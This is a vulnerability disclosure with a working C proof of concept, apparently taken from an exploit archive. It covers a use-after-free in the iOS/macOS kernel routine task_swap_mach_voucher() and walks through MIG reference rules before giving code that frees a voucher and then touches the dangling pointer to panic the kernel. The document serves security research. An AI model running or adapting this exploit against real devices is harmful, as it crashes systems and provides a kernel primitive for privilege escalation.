
6 changes to exploits/shellcodes Lua 5.3.5 - 'debug.upvaluejoin' Use After Free iOS/macOS - 'task_swap_mach_voucher()' Use-After-Free Cisco RV320 Dual Gigabit WAN VPN Router 1.4.2.15 - Command Injection GreenCMS 2.x - SQL Injection GreenCMS 2.x - Arbitrary File Download Wordpress Plugin Wisechat 2.6.3 - Reverse Tabnabbing
375 lines
No EOL
14 KiB
C
375 lines
No EOL
14 KiB
C
/*
|
|
* voucher_swap-poc.c
|
|
* Brandon Azad
|
|
*/
|
|
#if 0
|
|
iOS/macOS: task_swap_mach_voucher() does not respect MIG semantics leading to use-after-free
|
|
|
|
The dangers of not obeying MIG semantics have been well documented: see issues 926 (CVE-2016-7612),
|
|
954 (CVE-2016-7633), 1417 (CVE-2017-13861, async_wake), 1520 (CVE-2018-4139), 1529 (CVE-2018-4206),
|
|
and 1629 (no CVE), as well as CVE-2018-4280 (blanket). However, despite numerous fixes and
|
|
mitigations, MIG issues persist and offer incredibly powerful exploit primitives. Part of the
|
|
problem is that MIG semantics are complicated and unintuitive and do not align well with the
|
|
kernel's abstractions.
|
|
|
|
Consider the MIG routine task_swap_mach_voucher():
|
|
|
|
routine task_swap_mach_voucher(
|
|
task : task_t;
|
|
new_voucher : ipc_voucher_t;
|
|
inout old_voucher : ipc_voucher_t);
|
|
|
|
Here's the (placeholder) implementation:
|
|
|
|
kern_return_t
|
|
task_swap_mach_voucher(
|
|
task_t task,
|
|
ipc_voucher_t new_voucher,
|
|
ipc_voucher_t *in_out_old_voucher)
|
|
{
|
|
if (TASK_NULL == task)
|
|
return KERN_INVALID_TASK;
|
|
|
|
*in_out_old_voucher = new_voucher;
|
|
return KERN_SUCCESS;
|
|
}
|
|
|
|
The correctness of this implementation depends on exactly how MIG ownership semantics are defined
|
|
for each of these parameters.
|
|
|
|
When dealing with Mach ports and out-of-line memory, ownership follows the traditional rules (the
|
|
ones violated by the bugs above):
|
|
|
|
1. All Mach ports (except the first) passed as input parameters are owned by the service routine if
|
|
and only if the service routine returns success. If the service routine returns failure then MIG
|
|
will deallocate the ports.
|
|
|
|
2. All out-of-line memory regions passed as input parameters are owned by the service routine if
|
|
and only if the service routine returns success. If the service routine returns failure then MIG
|
|
will deallocate all out-of-line memory.
|
|
|
|
But this is only part of the picture. There are more rules for other types of objects:
|
|
|
|
3. All objects with defined MIG translations that are passed as input-only parameters are borrowed
|
|
by the service routine. For reference-counted objects, this means that the service routine is
|
|
not given a reference, and hence a reference must be added if the service routine intends to
|
|
keep the object around.
|
|
|
|
4. All objects with defined MIG translations that are returned in output parameters must be owned
|
|
by the output parameter. For reference-counted objects, this means that output parameters
|
|
consume a reference on the object.
|
|
|
|
And most unintuitive of all:
|
|
|
|
5. All objects with defined MIG translations that are passed as input in input-output parameters
|
|
are owned (not borrowed!) by the service routine. This means that the service routine must
|
|
consume the input object's reference.
|
|
|
|
Having defined MIG translations means that there is an automatic conversion defined between the
|
|
object type and its Mach port representation. A task port is one example of such a type: you can
|
|
convert a task port to the underlying task object using convert_port_to_task(), and you can convert
|
|
a task to its corresponding port using convert_task_to_port().
|
|
|
|
Getting back to Mach vouchers, this is the MIG definition of ipc_voucher_t:
|
|
|
|
type ipc_voucher_t = mach_port_t
|
|
intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)
|
|
outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)
|
|
destructor: ipc_voucher_release(ipc_voucher_t)
|
|
;
|
|
|
|
This definition means that MIG will automatically convert the voucher port input parameters to
|
|
ipc_voucher_t objects using convert_port_to_voucher(), convert the ipc_voucher_t output parameters
|
|
into ports using convert_voucher_to_port(), and discard any extra references using
|
|
ipc_voucher_release(). Note that convert_port_to_voucher() produces a voucher reference without
|
|
consuming a port reference, while convert_voucher_to_port() consumes a voucher reference and
|
|
produces a port reference.
|
|
|
|
To confirm our understanding of the MIG semantics outlined above, we can look at the function
|
|
_Xtask_swap_mach_voucher(), which is generated by MIG during the build process:
|
|
|
|
mig_internal novalue _Xtask_swap_mach_voucher
|
|
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
|
{
|
|
...
|
|
kern_return_t RetCode;
|
|
task_t task;
|
|
ipc_voucher_t new_voucher;
|
|
ipc_voucher_t old_voucher;
|
|
...
|
|
task = convert_port_to_task(In0P->Head.msgh_request_port);
|
|
|
|
new_voucher = convert_port_to_voucher(In0P->new_voucher.name);
|
|
|
|
old_voucher = convert_port_to_voucher(In0P->old_voucher.name);
|
|
|
|
RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);
|
|
|
|
ipc_voucher_release(new_voucher);
|
|
|
|
task_deallocate(task);
|
|
|
|
if (RetCode != KERN_SUCCESS) {
|
|
MIG_RETURN_ERROR(OutP, RetCode);
|
|
}
|
|
...
|
|
if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
|
|
ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);
|
|
|
|
if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
|
|
ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
|
|
...
|
|
OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);
|
|
|
|
OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
|
|
OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
|
|
OutP->msgh_body.msgh_descriptor_count = 1;
|
|
}
|
|
|
|
Tracing where each of the references are going, we can deduce that:
|
|
|
|
1. The new_voucher parameter is deallocated with ipc_voucher_release() after invoking the service
|
|
routine, so it is not owned by task_swap_mach_voucher(). In other words,
|
|
task_swap_mach_voucher() is not given a reference on new_voucher.
|
|
|
|
2. The old_voucher parameter has a reference on it before it gets overwritten by
|
|
task_swap_mach_voucher(), which means task_swap_mach_voucher() is being given a reference on the
|
|
input value of old_voucher.
|
|
|
|
3. The value returned by task_swap_mach_voucher() in old_voucher is passed to
|
|
convert_voucher_to_port(), which consumes a reference on the voucher. Thus,
|
|
task_swap_mach_voucher() is giving _Xtask_swap_mach_voucher() a reference on the output value of
|
|
old_voucher.
|
|
|
|
Finally, looking back at the implementation of task_swap_mach_voucher(), we can see that none of
|
|
these rules are being followed:
|
|
|
|
kern_return_t
|
|
task_swap_mach_voucher(
|
|
task_t task,
|
|
ipc_voucher_t new_voucher,
|
|
ipc_voucher_t *in_out_old_voucher)
|
|
{
|
|
if (TASK_NULL == task)
|
|
return KERN_INVALID_TASK;
|
|
|
|
*in_out_old_voucher = new_voucher;
|
|
return KERN_SUCCESS;
|
|
}
|
|
|
|
This results in two separate reference counting issues:
|
|
|
|
1. By overwriting the value of in_out_old_voucher without first releasing the reference, we are
|
|
leaking a reference on the input value of old_voucher.
|
|
|
|
2. By assigning the value of new_voucher to in_out_old_voucher without adding a reference, we are
|
|
consuming a reference we don't own, leading to an over-release of new_voucher.
|
|
|
|
Now, Apple has previously added a mitigation to make reference count leaks on Mach ports
|
|
non-exploitable by having the reference count saturate before it overflows. However, this
|
|
mitigation is not relevant here because we're leaking a reference on the actual ipc_voucher_t, not
|
|
on the voucher port that represents the voucher. And looking at the implementation of
|
|
ipc_voucher_reference() and ipc_voucher_release() (as of macOS 10.13.6), it's clear that the
|
|
voucher reference count is tracked independently of the port reference count:
|
|
|
|
void
|
|
ipc_voucher_reference(ipc_voucher_t voucher)
|
|
{
|
|
iv_refs_t refs;
|
|
|
|
if (IPC_VOUCHER_NULL == voucher)
|
|
return;
|
|
|
|
refs = iv_reference(voucher);
|
|
assert(1 < refs);
|
|
}
|
|
|
|
void
|
|
ipc_voucher_release(ipc_voucher_t voucher)
|
|
{
|
|
if (IPC_VOUCHER_NULL != voucher)
|
|
iv_release(voucher);
|
|
}
|
|
|
|
static inline iv_refs_t
|
|
iv_reference(ipc_voucher_t iv)
|
|
{
|
|
iv_refs_t refs;
|
|
|
|
refs = hw_atomic_add(&iv->iv_refs, 1);
|
|
return refs;
|
|
}
|
|
|
|
static inline void
|
|
iv_release(ipc_voucher_t iv)
|
|
{
|
|
iv_refs_t refs;
|
|
|
|
assert(0 < iv->iv_refs);
|
|
refs = hw_atomic_sub(&iv->iv_refs, 1);
|
|
if (0 == refs)
|
|
iv_dealloc(iv, TRUE);
|
|
}
|
|
|
|
(The assert()s are not live on production builds.)
|
|
|
|
This vulnerability can be triggered without crossing any privilege/MACF checks, so it should be
|
|
reachable within every process and every sandbox.
|
|
|
|
On iOS 11 and macOS 10.13, both the over-reference and over-release vulnerabilities can be
|
|
independently exploited to free an ipc_voucher_t while it is still in use. On these platforms these
|
|
are incredibly powerful vulnerabilities, since they also let us receive a send right to a
|
|
freed-and-reallocated Mach port back in userspace. For some examples of why this is dangerous, see
|
|
Ian's thoughts in issue 941: <https://bugs.chromium.org/p/project-zero/issues/detail?id=941#c3>.
|
|
|
|
As of iOS 12 and macOS 10.14, the voucher reference count is checked for underflow and overflow,
|
|
which does make the over-reference vulnerability non-exploitable. However, the over-release
|
|
vulnerability is still fully exploitable, and probably can still be used as a single,
|
|
direct-to-kernel bug from any process.
|
|
|
|
Additionally, while this report is of a single bug, it should indicate a wider problem with the
|
|
complexity of obeying MIG semantics. It might be worth reviewing other edge cases of MIG semantics
|
|
not covered by previous bugs.
|
|
|
|
(There's a variant of the over-reference vulnerability in thread_swap_mach_voucher(), but it is no
|
|
longer exploitable as of iOS 12.)
|
|
|
|
This proof-of-concept demonstrates the vulnerability by creating a Mach voucher, saving a reference
|
|
to it in the current thread's ith_voucher field via thread_set_mach_voucher(), decreasing the
|
|
reference count back to 1 using task_swap_mach_voucher(), and then freeing the voucher by
|
|
deallocating the voucher port in userspace. This leaves a dangling pointer to the freed voucher's
|
|
memory in ith_voucher, which can subsequently be accessed with a call to thread_get_mach_voucher(),
|
|
triggering a panic.
|
|
|
|
Tested on macOS 10.13.6 (17G4015), macOS 10.14.2, and iOS 12.1 (16B92).
|
|
#endif
|
|
|
|
#include <assert.h>
|
|
#include <mach/mach.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
|
|
// Stash the host port for create_voucher().
|
|
mach_port_t host;
|
|
|
|
/*
|
|
* create_voucher
|
|
*
|
|
* Description:
|
|
* Create a Mach voucher. If id is unique, then this will be a unique voucher (until another
|
|
* call to this function with the same id).
|
|
*
|
|
* A Mach voucher port for the voucher is returned. The voucher has 1 reference, while the
|
|
* voucher port has 2 references and 1 send right.
|
|
*/
|
|
static mach_port_t
|
|
create_voucher(uint64_t id) {
|
|
assert(host != MACH_PORT_NULL);
|
|
mach_port_t voucher = MACH_PORT_NULL;
|
|
#pragma clang diagnostic push
|
|
#pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end"
|
|
struct __attribute__((packed)) {
|
|
mach_voucher_attr_recipe_data_t user_data_recipe;
|
|
uint64_t user_data_content[2];
|
|
} recipes = {};
|
|
#pragma clang diagnostic pop
|
|
recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
|
|
recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
|
|
recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
|
|
recipes.user_data_content[0] = getpid();
|
|
recipes.user_data_content[1] = id;
|
|
kern_return_t kr = host_create_mach_voucher(
|
|
host,
|
|
(mach_voucher_attr_raw_recipe_array_t) &recipes,
|
|
sizeof(recipes),
|
|
&voucher);
|
|
assert(kr == KERN_SUCCESS);
|
|
assert(voucher != MACH_PORT_NULL);
|
|
return voucher;
|
|
}
|
|
|
|
/*
|
|
* voucher_tweak_references
|
|
*
|
|
* Description:
|
|
* Use the task_swap_mach_voucher() vulnerabilities to modify the reference counts of 2
|
|
* vouchers.
|
|
*
|
|
*/
|
|
static void
|
|
voucher_tweak_references(mach_port_t release_voucher, mach_port_t reference_voucher) {
|
|
// Call task_swap_mach_voucher() to tweak the reference counts (two bugs in one!).
|
|
mach_port_t inout_voucher = reference_voucher;
|
|
kern_return_t kr = task_swap_mach_voucher(mach_task_self(), release_voucher, &inout_voucher);
|
|
assert(kr == KERN_SUCCESS);
|
|
// At this point we've successfully tweaked the voucher reference counts, but our port
|
|
// reference counts might be messed up because of the voucher port returned in
|
|
// inout_voucher! We need to deallocate it (it's extra anyways, since
|
|
// task_swap_mach_voucher() doesn't swallow the existing send rights).
|
|
if (MACH_PORT_VALID(inout_voucher)) {
|
|
kr = mach_port_deallocate(mach_task_self(), inout_voucher);
|
|
assert(kr == KERN_SUCCESS);
|
|
}
|
|
}
|
|
|
|
/*
|
|
* voucher_reference
|
|
*
|
|
* Description:
|
|
* Add a reference to the voucher represented by the voucher port.
|
|
*/
|
|
static void
|
|
voucher_reference(mach_port_t voucher) {
|
|
voucher_tweak_references(MACH_PORT_NULL, voucher);
|
|
}
|
|
|
|
/*
|
|
* voucher_release
|
|
*
|
|
* Description:
|
|
* Release a reference on the voucher represented by the voucher port.
|
|
*/
|
|
static void
|
|
voucher_release(mach_port_t voucher) {
|
|
voucher_tweak_references(voucher, MACH_PORT_NULL);
|
|
}
|
|
|
|
/*
|
|
* thread_stash_freed_voucher
|
|
*
|
|
* Description:
|
|
* Stash a pointer to a freed voucher object in the current thread's ith_voucher field. This
|
|
* voucher can be accessed later with thread_get_mach_voucher().
|
|
*/
|
|
static void
|
|
thread_stash_freed_voucher(mach_port_t thread_self) {
|
|
// Create a unique voucher. This voucher will have 1 voucher reference, 2 port references,
|
|
// and 1 port send right.
|
|
mach_port_t voucher = create_voucher(0);
|
|
// Stash a copy of the voucher in our thread. This will bump the voucher references to 2.
|
|
kern_return_t kr = thread_set_mach_voucher(thread_self, voucher);
|
|
assert(kr == KERN_SUCCESS);
|
|
// Now drop the voucher reference count to 1. The port reference count is still 2.
|
|
voucher_release(voucher);
|
|
// Next deallocate our send right to the voucher port. This drops the port send right
|
|
// count to 0 (although the port reference count is still 1), causing a no-senders
|
|
// notification to be triggered. The no-senders notification calls ipc_voucher_notify(),
|
|
// which releases the final voucher reference. In the process of freeing the voucher,
|
|
// ipc_port_dealloc_kernel() is called on the port, so the port is also freed.
|
|
kr = mach_port_deallocate(mach_task_self(), voucher);
|
|
assert(kr == KERN_SUCCESS);
|
|
// This leaves a dangling pointer to the voucher in thread_self->ith_voucher. We can access
|
|
// the freed voucher and voucher port with a call to thread_get_mach_voucher().
|
|
}
|
|
|
|
int
|
|
main(int argc, const char *argv[]) {
|
|
host = mach_host_self();
|
|
mach_port_t thread = mach_thread_self();
|
|
// Stash a pointer to a freed ipc_voucher_t in this thread's ith_voucher field.
|
|
thread_stash_freed_voucher(thread);
|
|
// The following call should trigger a panic.
|
|
mach_port_t voucher;
|
|
thread_get_mach_voucher(thread, 0, &voucher);
|
|
return 0;
|
|
} |